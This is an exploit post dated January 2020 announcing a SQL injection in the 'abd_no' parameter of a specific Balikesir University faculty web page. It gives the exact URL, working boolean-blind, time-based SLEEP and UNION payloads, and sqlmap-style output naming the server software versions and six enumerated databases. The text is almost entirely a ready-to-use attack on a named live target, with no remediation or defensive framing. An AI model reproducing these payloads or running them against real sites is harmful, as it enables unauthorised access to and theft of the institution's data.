# Exploit Title: Balikesir Üniversitesi SQL İnjection # Date: 22.01.2020 # Exploit Author: Furkan Özer # Vendor Homepage: http://www.nef.balikesir.edu.tr Link##: http://www.nef.balikesir.edu.tr/dtsyaz/sorgula_abd_ders_dagilimi.php?abd_no=[] SQL'li Parameter: abd_no (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause Payload: abd_no=-2068 OR 4490=4490 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: abd_no=9 AND (SELECT 3573 FROM (SELECT(SLEEP(5)))XDzC) Type: UNION query Title: Generic UNION query (NULL) - 8 columns Payload: abd_no=-5007 UNION ALL SELECT NULL,CONCAT(0x7178627671,0x667643597a76566c4e444f426b524a56486d6862575547786b6174546e794d6273516254774e6853,0x7162706271),NULL,NULL,NULL,NULL,NULL,NULL-- YYWZ the back-end DBMS is MySQL web server operating system: FreeBSD web application technology: Apache 2.4.35, PHP 5.6.38, PHP back-end DBMS: MySQL >= 5.0.12 available databases [6]: [*] information_schema [*] nefveri [*] nefveri_bahar [*] nefveri_guz [*] nefveri_yedek [*] test